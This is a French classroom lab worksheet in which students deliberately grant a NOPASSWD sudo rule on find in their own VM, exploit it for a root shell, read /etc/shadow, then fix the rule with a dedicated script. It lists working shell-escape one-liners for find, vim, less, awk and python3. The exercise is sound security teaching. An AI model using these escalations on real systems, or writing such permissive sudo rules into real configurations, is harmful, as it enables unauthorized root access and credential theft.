L'attaque en 3 commandes : de simple utilisateur à root
Un administrateur a autorisé un agent à utiliser une seule commande, pensée comme inoffensive. Trois commandes plus tard, cet agent est root.
Petite vérification
Avant de commencer, vérifiez si vous savez encore réaliser ces 3 actions très simples, sur la séance précédente consacrée à la vérification d'une fuite de mots de passe :
- calculer l'empreinte SHA-1 du texte
azertyavecprintf '%s' 'azerty' | sha1sum, et vérifier qu'elle commence bien par9cf95 - citer la commande qui permet de saisir un mot de passe sans qu'il s'affiche à l'écran ni n'apparaisse dans l'historique du terminal
- expliquer pourquoi être absent de la base Pwned Passwords ne signifie pas qu'un mot de passe est sûr
📌 Réponse attendue
TP pour réfléchir et résoudre des problèmes
Votre défi pour aujourd'hui consiste à obtenir un accès root sur un serveur, en exploitant une seule ligne de configuration mal écrite, puis à la corriger
La mairie de Verchamps et son serveur intranet sont fictifs, construits pour l'exercice. Toutes les manipulations se font dans votre propre VM Debian.
Obtenir un accès root sur une machine sans y être autorisé est un accès frauduleux (article 323-1 du code pénal), comme vu lors de la séance sur l'accès physique. Ce TP se pratique uniquement sur votre propre VM.
Étape 1 — Reproduire la configuration d'origine, côté administrateur
À la mairie de Verchamps, un agent administratif doit régulièrement vérifier l'espace disque
disponible sur le serveur. Pour lui éviter de demander le mot de passe root à chaque fois,
l'administrateur précédent lui a accordé un droit sudo qu'il pensait sans danger.
Dans votre VM, en tant qu'administrateur (votre compte habituel, avec les droits sudo complets),
reproduisez cette configuration :
sudo adduser agent --disabled-password --gecos ""
echo 'agent ALL=(ALL) NOPASSWD: /usr/bin/find' | sudo tee /etc/sudoers.d/agent
sudo chmod 440 /etc/sudoers.d/agent
sudo visudo -c -f /etc/sudoers.d/agent
- À quoi sert l'option
--disabled-passworddeadduser? (pour cet exercice, vous passerez du compte administrateur au compteagentavecsu -, sans mot de passe à saisir) - Que permet la dernière ligne (
visudo -c -f), et pourquoi est-ce une bonne habitude avant de faire confiance à un fichier de règlessudo? - Pourquoi placer cette règle dans un fichier séparé,
/etc/sudoers.d/agent, plutôt que d'éditer directement/etc/sudoers?
📌 Réponse attendue
Étape 2 — Se mettre dans la peau de l'agent
Passez sur le compte de l'agent, et regardez ce qu'il peut faire avec sudo :
su - agent
whoami
id
sudo -l
- Que renvoie
sudo -l? - Un agent qui lit cette ligne doit-il s'inquiéter ? Pourquoi
findsemble-t-il un choix anodin pour un administrateur pressé ?
📌 Réponse attendue
Étape 3 — L'attaque en 3 commandes
find dispose d'une option, -exec, qui exécute une autre commande sur chaque résultat trouvé.
Lancée avec les droits de root par sudo, cette option permet bien plus qu'une recherche :
sudo -l
sudo find /etc/passwd -exec /bin/sh \; -quit
whoami
- Que fait exactement la deuxième commande ? Décomposez le rôle de
-exec /bin/sh \;et de-quit. - Que répond
whoami, et qu'est-ce que cela signifie ? - L'agent a-t-il eu besoin de connaître le mot de passe
rootou de deviner quoi que ce soit ?
📌 Réponse attendue
Étape 4 — Mesurer ce que permet ce shell root
Depuis le shell root que vous venez d'obtenir, explorez un peu (sans rien modifier) :
id
wc -l /etc/shadow
head -c 200 /etc/shadow
- Qu'est-ce que
/etc/shadow, et pourquoi un simple agent ne devrait-il jamais pouvoir le lire ? - En quoi la règle accordée à l'étape 1 contredit-elle le principe du moindre privilège ?
- Quittez ce shell (
exit), puis la session de l'agent (exità nouveau), pour revenir à votre compte administrateur. Que constatez-vous si vous relancezsudo -ldepuis ce compte administrateur ?
📌 Réponse attendue
Étape 5 — Corriger avec un droit limité à la tâche réelle
Remplacez la règle par un accès strictement limité à la tâche de l'agent : un script dédié, qui ne fait que ce qui est attendu, sans option dangereuse ni argument libre.
sudo tee /usr/local/sbin/verifier-espace-disque.sh > /dev/null <<'EOF'
#!/bin/sh
du -sh /var/log /var/www 2>/dev/null
EOF
sudo chmod 750 /usr/local/sbin/verifier-espace-disque.sh
sudo chown root:root /usr/local/sbin/verifier-espace-disque.sh
sudo rm /etc/sudoers.d/agent
echo 'agent ALL=(ALL) NOPASSWD: /usr/local/sbin/verifier-espace-disque.sh ""' | sudo tee /etc/sudoers.d/agent
sudo chmod 440 /etc/sudoers.d/agent
sudo visudo -c -f /etc/sudoers.d/agent
- Pourquoi ce script, plutôt qu'un binaire généraliste comme
find, réduit-il le risque ? - À quoi sert les guillemets vides (
"") à la fin de la lignesudoers? - Pourquoi
chown root:rootetchmod 750sur le script, alors que l'agent doit pouvoir l'exécuter viasudo?
📌 Réponse attendue
Étape 6 — Vérifier que la faille est corrigée
Reconnectez-vous sur le compte de l'agent, et tentez de rejouer l'attaque :
su - agent
sudo -l
sudo /usr/local/sbin/verifier-espace-disque.sh
sudo /usr/local/sbin/verifier-espace-disque.sh -exec /bin/sh \;
- Que montre
sudo -là présent ? - La troisième commande fonctionne-t-elle comme avant ? Que se passe-t-il ?
- L'agent peut-il encore accomplir sa tâche d'origine (vérifier l'espace disque) ?
📌 Réponse attendue
Restitution orale
Un étudiant (ou un binôme) vient présenter à la classe l'attaque réalisée (étapes 2 à 4) et la correction apportée (étapes 5 et 6).
- Durée : 5 minutes de présentation + 2 à 3 minutes de questions.
- Qui passe : un(e) étudiant(e) (ou un binôme) désigné(e) par l'enseignant.
- Support : le travail réalisé pendant le TP, aucune préparation supplémentaire n'est nécessaire.
- Ce qui est attendu :
- rappeler la règle
sudod'origine et pourquoi elle semblait inoffensive ; - présenter les 3 commandes de l'attaque et la correction apportée ;
- répondre aux questions de la classe.
- rappeler la règle
Cet exercice entraîne à l'oral technique court exigé par plusieurs épreuves du BTS (notamment E5 et E6) : clarté, structure, capacité à répondre à l'improviste.
📌 Une solution
Notions théoriques
Vous venez d'obtenir un accès root à partir d'un seul droit sudo mal écrit. Reste à comprendre
pourquoi cette règle était dangereuse, et comment en écrire une qui ne le soit pas.
Comment fonctionne une règle sudo
Une règle sudoers autorise un utilisateur (ou un groupe) à exécuter une commande précise,
avec les droits d'un autre utilisateur (souvent root), éventuellement sans redemander de mot de
passe (NOPASSWD). Sa syntaxe générale est :
utilisateur hôte=(utilisateur_cible) NOPASSWD: /chemin/de/la/commande arguments
Quand aucun argument n'est précisé après le chemin de la commande, la règle autorise cette
commande avec n'importe quel argument. C'est documenté dans le manuel de sudoers, et c'est
précisément ce qui a rendu la règle de ce TP exploitable.
Pourquoi find (et d'autres) permettent d'obtenir un shell
De nombreux programmes standards, pensés pour un usage précis, offrent une fonctionnalité annexe capable de lancer un autre programme :
| Commande | Fonctionnalité détournée | Exemple |
|---|---|---|
find | Exécuter une commande sur chaque résultat | find . -exec /bin/sh \; -quit |
vim | Exécuter une commande shell depuis l'éditeur | vim -c ':!sh' |
less | Lancer un shell depuis le visualiseur de pages | less /etc/hosts puis !sh |
awk | Exécuter une commande système depuis un script | awk 'BEGIN {system("/bin/sh")}' |
python3 | Lancer un sous-processus interactif | python3 -c 'import os; os.system("/bin/sh")' |
Le projet communautaire GTFOBins recense ces détournements pour un très grand nombre de
programmes Unix standards. Accorder un droit sudo sur l'un d'eux, même pour un usage qui semble
anodin, revient souvent à accorder un accès root complet.
Ce n'est pas une faille du programme find lui-même : c'est une fonctionnalité documentée,
utile dans d'autres contextes. Le problème vient uniquement de la combinaison avec sudo et
NOPASSWD, sans restriction d'arguments.
Écrire une règle sudo plus sûre
| Mauvaise pratique | Bonne pratique |
|---|---|
Autoriser un binaire généraliste (find, vim, awk...) | Autoriser un script dédié, qui ne fait qu'une seule tâche |
| Ne préciser aucun argument | Préciser les arguments exacts attendus, ou "" pour n'en accepter aucun |
| Laisser le script modifiable par l'utilisateur autorisé | Le rendre appartenant à root, en lecture seule pour les autres |
Modifier /etc/sudoers directement | Passer par /etc/sudoers.d/, un fichier par règle |
| Faire confiance à une modification sans vérification | Toujours vérifier la syntaxe avec visudo -c avant de l'activer |
Cette approche illustre, de façon concrète, le principe du moindre privilège : donner uniquement l'accès strictement nécessaire à la tâche, jamais plus, même quand un accès plus large semblerait simplifier les choses à court terme.
Une future séance (« Audit des comptes et des droits ») reprendra cette logique pour l'ensemble des comptes d'un serveur : qui a accès à quoi, et pourquoi. Une autre séance posera ce même principe du côté de la défense, cette fois sans angle offensif.
Test de mémorisation/compréhension
Bonnes pratiques
- Ne jamais accorder de droit
sudosur un binaire généraliste (find,vim,less,awk...) sans en vérifier les détournements possibles sur GTFOBins. - Préciser toujours les arguments acceptés dans une règle
sudoers, ou""pour n'en accepter aucun. - Préférer un script dédié, qui ne fait qu'une seule tâche, à un accès root sur un outil généraliste.
- Vérifier la syntaxe avec
visudo -cavant de faire confiance à une nouvelle règlesudoers. - Appliquer le principe du moindre privilège : donner l'accès strictement nécessaire à la tâche, jamais plus.
- Ne réaliser cette manipulation que sur sa propre machine ou avec une autorisation écrite : sur celle d'autrui, c'est un délit.